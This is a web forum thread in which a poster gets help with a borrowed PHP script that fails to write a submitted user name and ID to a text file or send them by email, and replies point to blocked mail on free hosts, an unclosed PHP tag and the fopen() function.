What errors are you getting? If you are hosting on a free host and are getting mailing errors, that means the sendmail function is blocked.

it just wont send the info to the file on the webhost ,,, i dont get any errors

SMTP must be blocked on your host.

Close the first PHP tag.

Wierd, I didn't notice he had two starting tags till now :p

how is the first tag not closed the site loads the php page but doest not post the user name and id on the text file I created... very confusing I have the text file set to 777 which allows write function but will not write for some reason

I get the feeling you didn't write this code.

First of all, what value are you assigning to the $text variable that you are writing to the file? Second, you didn't use fopen() to even open a file, how are you going to write things to a unopened file?

Your absolutely right I didnt write the file but have researched how php works. do I () give the comman in the same file or after it is closed do I open another giving the command to open and write to the file I have hosted.

You'd use fopen() to open the file in the same PHP file that you'll be writing contents to the file in.

for example
fopen (anyfile.txt)..... ?
then how is the info written to that file or is it easier to send it to an email address , the server does support mail.

In that case, email is easier, just send it through email.

there is where my problem lies .. to me it looks like everything is correct but it wont send the mail

Read up a bit of PHP (specifically the E-mail section) here.

[url]www.php.net/fopen[/url]

This is the manual for the fopen function. It should explain everything.

As for email, that would most likely be disabled on a crappy free-hosting account.

Also, have you closed the first PHP opening tag yet?
